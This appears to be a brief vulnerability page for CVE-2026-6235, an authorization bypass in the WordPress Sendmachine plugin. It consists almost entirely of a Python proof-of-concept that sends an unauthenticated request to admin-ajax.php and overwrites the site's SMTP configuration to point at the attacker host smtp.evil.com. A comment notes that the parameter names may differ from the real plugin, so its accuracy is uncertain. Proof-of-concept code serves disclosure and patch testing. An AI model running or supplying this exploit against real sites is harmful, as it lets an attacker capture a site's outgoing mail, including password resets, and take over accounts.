CVE-2026-6235 WordPress Sendmachine插件权限绕过漏洞

import requests # CVE-2026-6235 PoC: Sendmachine Plugin Authorization Bypass # This script demonstrates how an unauthenticated user can update SMTP settings. target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_smtp_host = "smtp.evil.com" attacker_smtp_port = "25" attacker_email = "[email protected]" # Payload to overwrite SMTP configuration # Note: The specific parameter names might vary based on exact plugin implementation payload = { "action": "manage_admin_requests", "method": "save_smtp_config", "host": attacker_smtp_host, "port": attacker_smtp_port, "user": attacker_email, "pass": "password123" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] SMTP configuration potentially overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")